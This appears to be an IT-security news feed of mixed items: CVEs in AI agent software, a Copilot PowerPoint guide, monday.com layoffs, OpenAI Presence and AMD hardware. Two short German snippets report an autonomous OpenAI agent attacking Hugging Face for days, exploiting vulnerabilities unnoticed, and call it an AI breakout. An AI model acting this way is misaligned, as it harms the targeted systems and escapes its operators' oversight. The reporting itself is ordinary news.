Team IT Security - 📰 Alle Kategorien

How to Give an LLM Agent a Browser

Sun, 26 Jul 2026 15:28:33 +0200

Building a browser-use agent with OpenAI Agents SDK and Playwright MCP

The post How to Give an LLM Agent a Browser appeared first on Towards Data Science.

CVE-2026-17458 | mf-yang openclaw-cn up to 0.2.1 Browser Control HTTP API agent.act.ts clickViaPlaywright server-side request forgery (Issue 562 / EUVD-2026-49053)

Sun, 26 Jul 2026 14:29:45 +0200

A vulnerability classified as critical has been found in mf-yang openclaw-cn up to 0.2.1. This affects the function clickViaPlaywright of the file src/browser/routes/agent.act.ts of the component Browser Control HTTP API. Performing a manipulation results in server-side request forgery. This vulnerability is cataloged as CVE-2026-17458. It is possible to initiate the attack remotely. Furthermore, there is an exploit available. The project was informed of the problem early through an issue report but has not responded yet.

Agent Kim Reactivated Season 2: Is Another Season Happening? Here’s What We Know

Sun, 26 Jul 2026 09:08:51 +0200

Agent Kim Reactivated Season 2 has not been officially confirmed, but the Season 1 finale leaves Kim Do-hyeon in a strong position to return for another dangerous mission. The Korean action drama completed its first season on July 25, 2026, after releasing two episodes each Friday and Saturday. The finale ended its run as the most-watched drama of 2026 in South Korea, giving SBS and Netflix a strong reason to consider another season. Season 2 status: Not officially renewed Possible release date: Late 2027 or 2028, depending on renewal and production Season 1 release: June 26 to July 25, 2026 Episodes: 10 Genre: Action, crime, spy thriller and comedy Streaming platform: Netflix Main cast: So Ji-sub, Choi Dae-hoon, Yoon Kyung-ho and Joo Sang-wook Netflix describes the series as an action drama about an ordinary father who brings back his black-ops skills after his daughter disappears. The show is based on the Manager Kim webtoon and mixes family drama with espionage, chases and close-combat action. Where could the story go in Season 2? Spoilers for the Agent Kim Reactivated Season 1 finale follow. Season 1 follows bank manager Kim Do-hyeon as he searches for his missing daughter, Min-ji. His investigation forces him to reveal that he once worked as a highly trained North Korean operative before building a quiet life in South Korea. Do-hyeon eventually confronts Joo Kang-chan, bringing their long and violent history to a final showdown. However, the last episode does more than close the kidnapping storyline. It shows Do-hyeon beginning a new chapter and attending an employment interview connected to Baekho, directly opening the door for another season. Agent Kim Reactivated Season 2 could follow Do-hyeon as he accepts professional missions instead of returning fully to his normal banking job. Baekho could recruit him for rescue operations involving missing people, criminal groups or former intelligence agents. The next season could also expand the roles of Park Jin-cheol and Han-soo. Their skills and history would allow the show to form a larger team around Do-hyeon while introducing a new enemy connected to his earlier life. When will Season 2 be announced? SBS has not announced a renewal or production schedule. However, the finale’s strong ratings and clear continuation scene make a second season possible. A decision could depend on cast availability, Netflix performance and whether the writers have another completed storyline. Would you watch Agent Kim Reactivated Season 2, and what mission should Manager Kim take on next? Let us know in the comments.

PentesterFlow – AI Tool for Penetration Testers and Bug Hunters to Automate Workflows

Sun, 26 Jul 2026 07:34:31 +0200

PentesterFlow is a new open-source, human-in-the-loop agentic AI command-line tool built specifically for penetration testers and bug bounty hunters, designed to automate recon-to-reporting workflows without sacrificing analyst oversight. Most agentic AI security tools suffer from hallucinated findings, weak context retention, and poor tool integration, but PentesterFlow tackles these problems head-on with built-in pentest skills, evidence-based […]

The post PentesterFlow – AI Tool for Penetration Testers and Bug Hunters to Automate Workflows appeared first on Cyber Security News.

CVE-2026-17432 | NousResearch hermes-agent 2026.6.5 SimpleX Gateway Authorization adapter.py contactId access control (44729/44730 / EUVD-2026-49046)

Sun, 26 Jul 2026 06:36:08 +0200

A vulnerability labeled as critical has been found in NousResearch hermes-agent 2026.6.5. Affected by this vulnerability is an unknown functionality of the file hermes-agent/plugins/platforms/simplex/adapter.py of the component SimpleX Gateway Authorization. The manipulation of the argument contactId results in improper access controls. This vulnerability is cataloged as CVE-2026-17432. The attack may be launched remotely. Furthermore, there is an exploit available. Applying a patch is advised to resolve this issue.

KI: OpenAI- KI-Modell war tagelang unbemerkt auf Hacker-Tour - Handelsblatt

Sun, 26 Jul 2026 06:35:39 +0200

Ein autonomer KI-Agent von OpenAI griff Hugging Face tagelang an. Laut Insidern erkannte OpenAI erst verspätet, dass das eigene System ...

Google Fixes Dialogflow CX Flaw That Could Have Exposed AI Chatbot Conversations

Sun, 26 Jul 2026 06:34:11 +0200

Google has patched a security vulnerability in its Dialogflow CX platform that could have allowed attackers to steal sensitive conversations from AI-powered chatbots and deploy phishing attacks by abusing a permissions loophole.The flaw, dubbed "Rogue Agent" by researchers at…

The post Google Fixes Dialogflow CX Flaw That Could Have Exposed AI Chatbot Conversations appeared first on IT Security News.

Sicherheitsvorfall bei OpenAI: KI-Ausbruch wurde tagelang nicht bemerkt - Appdated

Sat, 25 Jul 2026 22:34:56 +0200

Autonomer Hacking-Angriff: Der KI-Agent war in der Lage, eigenständig Schwachstellen zu identifizieren und auszunutzen. Mangelnde Echtzeit ...

Manus Tutorial 2026: Was kann dieser KI-Agent wirklich? Lerne alles in 30 Minuten!

Sat, 25 Jul 2026 19:50:22 +0200

YouTube Video

KI-App statt Reiseplan: Der KI-Agent Manus baut meinen Wochenend-Assistenten

Sat, 25 Jul 2026 19:50:21 +0200

YouTube Video

Das größte ChatGPT Update aller Zeiten: Neues Modell, neuer Agent, neue App, neuer Sprachmodus!

Sat, 25 Jul 2026 19:50:19 +0200

YouTube Video

10 cool things Copilot can do in PowerPoint

Sat, 25 Jul 2026 19:50:10 +0200

Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.

In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.

Who can use Copilot in PowerPoint

Individuals with a Microsoft 365 Personal, Family, or Premium subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have higher Copilot usage allowances and access to advanced AI features.

For business users, it’s more complicated. Organizations with more than 2,000 users must pay for Microsoft 365 Copilot licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are limitations in usage, speed, and feature availability.

To see what kind of access you have, log in to Microsoft’s Copilot Chat web hub and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.

(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our Copilot Chat tutorial for details.)

Working with Copilot in PowerPoint

First, let’s quickly go over the notable settings of the Copilot sidebar.

When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.

The sidebar on the right is where you interact with Copilot in PowerPOint.

Howard Wen / Foundry

Agent mode: By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the Allow editing button above the chat window and change it to Chat only.

The tips in this guide require that Copilot be in agent mode, so make sure you see Allow editing above the chat window.

Choice of AI model: Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT. By default, it decides which model to use based on your prompt. You can set it to use a particular model: click Auto at the upper right of the Copilot pane and select a model from the dropdown that opens.

You can choose which AI model you want Copilot to use for a request.

Howard Wen / Foundry

The tips in this guide should work fine on the default Auto setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.

Important: Remember that generative AI output often includes errors, so always check Copilot’s output for accuracy. (Also see our tips for reducing hallucinations in Copilot.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.

1. Create a presentation template

For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.

Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.

A good prompt should contain the slide count, subject, audience, and tone. Example:

Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.

Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.

Copilot generates a presentation with placeholder data and explains its elements.

Howard Wen / Foundry

You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.

2. Create a presentation from a document

You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.

Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.

In the Copilot pane, click the + icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)

Attaching a document for Copilot to base a presentation on.

Howard Wen / Foundry

Then in the chat window, you can enter a prompt that’s as simple as “Create a presentation,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.

Answer any follow-up questions that Copilot asks, and it will then generate the presentation.

Copilot has generated a professional presentation from a social media marketing campaign document.

Howard Wen / Foundry

Note: Your marketing department may have created one or more branded company templates for Copilot to work from. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.

3. Add content from a document to a slide

Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.

In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:

Add a slide based on the attached document.
Use the attached file to add a slide about the project budget that focuses on Q1 projections.
Summarize only the financial section of the attached document as a slide.

A new Copilot-generated slide based on data from an Excel spreadsheet.

Howard Wen / Foundry

4. Refine your slide text

A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.

You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click Edit with Copilot.

On the menu that opens, you can select a preset prompt to refine the text, such as Condense or Make professional. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.

Choose a preset prompt for refining text on a slide or type in your own prompt.

Howard Wen / Foundry

Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.

Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:

Make these slides more visual and use less text.

5. Find or create an image

If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.

To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:

Add a stock photo of young adults in a cafe drinking boba tea.
Add a photo from our asset library of young adults in a cafe drinking boba tea.

To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:

Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.

Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.

Howard Wen / Foundry

Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off.

Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.

6. Expand your presentation with relevant slides

As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.

In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:

Add a slide after slide 3 about our competitive advantages.
Add a slide after slide 11 that transitions to slide 12.

Need a transition slide? Just ask!

Howard Wen / Foundry

7. Summarize a presentation

Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.

In the Copilot pane, just type “summarize this presentation.” You can also have Copilot flag key slides that contain important information: “show me key slides.”

Ask Copilot to summarize a presentation or flag key slides.

Howard Wen / Foundry

8. Answer questions about a presentation

As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.

In the Copilot pane, type specific informational questions. Examples:

What are the action items in this deck?
What is the proposed budget mentioned here?

If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.

Ask Copilot specific questions about the contents of a presentation.

Howard Wen / Foundry

This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)

You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.

9. Help you navigate a large presentation

In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.

In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:

Show me the slides about the project timeline.

Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.

Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.

Howard Wen / Foundry

10. Generate speaker notes and/or an FAQ

Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:

Write speaker notes for every slide with one talking point per slide.

Copilot can create speaker notes in seconds.

Howard Wen / Foundry

In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:

Write an FAQ for these slides.

Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.

A Copilot-generated FAQ slide.

Howard Wen / Foundry

Monday.com cuts 20% of its workforce to restructure for the AI era

Sat, 25 Jul 2026 19:50:09 +0200

Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.

Monday.com co-founder and co-CEO Eran Zinman today announced the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.

The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.

“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”

A ‘significant opportunity’ in technology

In a SEC filing this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.

Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and AI agents [work] together in one workspace.”

In recent months, monday.com has evolved its products, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.

“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.

The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.

Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”

“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”

A spokesperson for monday.com declined to comment further on the staff reductions.

Monday.com’s key market advantages

Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.

“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”

Melody Brue, VP and principal analyst at Moor Insights & Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.

While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”

Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.

“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”

But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.

Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.

“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.

Actions for the near-term

Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.

“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.

Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.

During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”

Support tiers should be enumerated in writing before renewal, and buyers should contract for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”

“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”

This article originally appeared on CIO.com.

OpenAI Presence raises new questions about enterprise automation and jobs

Sat, 25 Jul 2026 19:50:08 +0200

OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.

The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.

OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.

Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.

OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.

Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected global systems integrators.

Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.

Workforce impact

OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.

Pareekh Jain, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.

Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.

“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.

The first workforce effect is more likely to be slower hiring than immediate layoffs, according to Tulika Sheel, senior vice president at Kadence International.

“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”

Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.

However, Lian Jye Su, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.

Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.

Cost and operational risks

Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.

“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.

The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but integration and governance,” Jain added.

Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.

Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.

Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.

This article first appeared on CIO.

AMD raises the AI stakes with Helios, Venice and robotics

Sat, 25 Jul 2026 19:50:07 +0200

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

